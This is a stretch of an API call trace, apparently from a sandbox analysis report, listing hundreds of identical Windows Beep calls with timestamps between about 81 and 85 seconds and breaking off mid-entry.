[0081.408] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.409] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.410] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.411] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.412] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.427] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.443] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.459] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.460] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.460] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.461] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.462] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.463] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.464] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.466] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.469] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.471] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.486] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.502] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.518] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.518] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.520] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.535] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.551] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.566] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.568] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.568] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.584] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.599] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.620] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.633] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.648] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.664] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.665] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.666] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.681] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.697] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.714] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.716] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.731] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.747] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.763] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.763] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.766] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.780] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.796] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.812] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.812] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.813] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.829] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.844] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.861] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.862] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.863] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.864] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.865] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.866] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.867] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.868] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.869] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.873] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.901] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.917] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.918] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.919] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.920] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.921] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.922] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.923] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.924] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.925] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.929] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.942] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.959] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0081.974] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.041] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.041] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.042] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.043] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.044] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.045] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.046] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.048] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.063] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.080] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.095] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.096] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.097] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.098] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.099] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.100] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.101] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.103] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.103] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.105] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.120] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.136] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.151] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.152] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.153] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.154] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.155] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.156] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.157] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.158] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.159] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.160] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.161] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.178] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.193] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.219] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.220] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.221] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.222] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.223] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.224] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.225] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.226] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.227] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.243] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.258] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.274] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.275] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.276] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.277] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.278] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.279] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.280] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.281] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.282] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.283] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.284] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.299] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.315] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.331] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.333] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.349] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.365] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.366] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.367] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.368] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.369] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.370] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.371] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.372] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.373] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.374] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.389] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.405] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.421] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.421] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.423] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.438] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.454] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.469] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.471] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.472] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.487] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.503] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.518] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.519] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.520] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.536] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.551] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.567] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.568] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.569] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.570] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.571] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.572] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.573] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.574] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.575] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.577] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.593] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.608] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.624] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.625] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.626] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.627] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.628] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.629] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.630] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.631] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.632] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.633] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.662] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.667] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.681] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.696] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.715] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.716] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.719] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.722] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.739] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.760] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.769] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.788] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.809] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.817] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.837] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.858] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.866] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.887] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.901] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.918] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.935] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.950] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.968] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.974] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.977] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0082.991] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.009] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.023] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.024] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.047] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.056] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.072] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.090] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.105] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.107] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.108] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.109] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.111] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.113] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.137] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.145] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.164] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.180] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.198] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.200] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.207] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.222] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.238] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.255] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.256] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.258] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.261] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.263] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.287] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.295] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.311] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.328] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.345] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.347] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.349] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.351] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.353] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.376] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.384] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.401] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.418] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.433] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.435] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.436] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.439] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.441] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.443] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.467] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.475] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.492] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.516] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.524] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.540] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.556] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.573] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.591] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.592] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.599] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.623] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.630] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.651] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.663] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.677] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.698] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.715] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.726] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.742] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.748] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.765] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.774] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.795] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.812] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.830] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.844] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.861] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.862] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.870] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.891] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.901] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.928] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.949] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.962] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.978] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0083.996] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.012] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.027] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.044] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.053] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.061] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.082] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.093] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.115] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.134] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.140] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.155] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.163] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.182] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.192] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.220] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.227] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.242] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.258] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.260] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.286] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.298] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.315] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.317] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.325] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.340] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.355] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.369] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.370] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.373] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.374] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.376] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.379] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.399] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.411] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.428] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.430] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.438] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.454] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.469] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.485] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.487] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.494] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.511] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.525] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.542] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.544] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.546] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.549] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.569] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.582] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.600] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.602] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.609] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.624] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.638] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.655] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.656] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.684] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.686] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.703] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.704] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.727] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.735] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.756] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.777] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.785] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.808] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.825] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.834] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.850] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.857] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.869] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.884] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.888] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.889] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.890] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.893] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.913] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.926] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.942] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.944] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.961] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.968] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0084.983] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.001] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.003] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.008] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.026] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.039] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.058] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.069] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.076] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.089] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.104] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.106] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.107] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.111] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.112] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.133] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.146] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.163] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.165] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.173] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.191] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.204] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.224] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.225] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.229] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.232] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.252] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.266] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.282] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.298] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.300] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.308] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.323] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.338] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.354] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.356] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.358] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.362] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.382] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.396] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.413] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.415] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.421] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.437] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.451] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.467] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0085.471] Beep 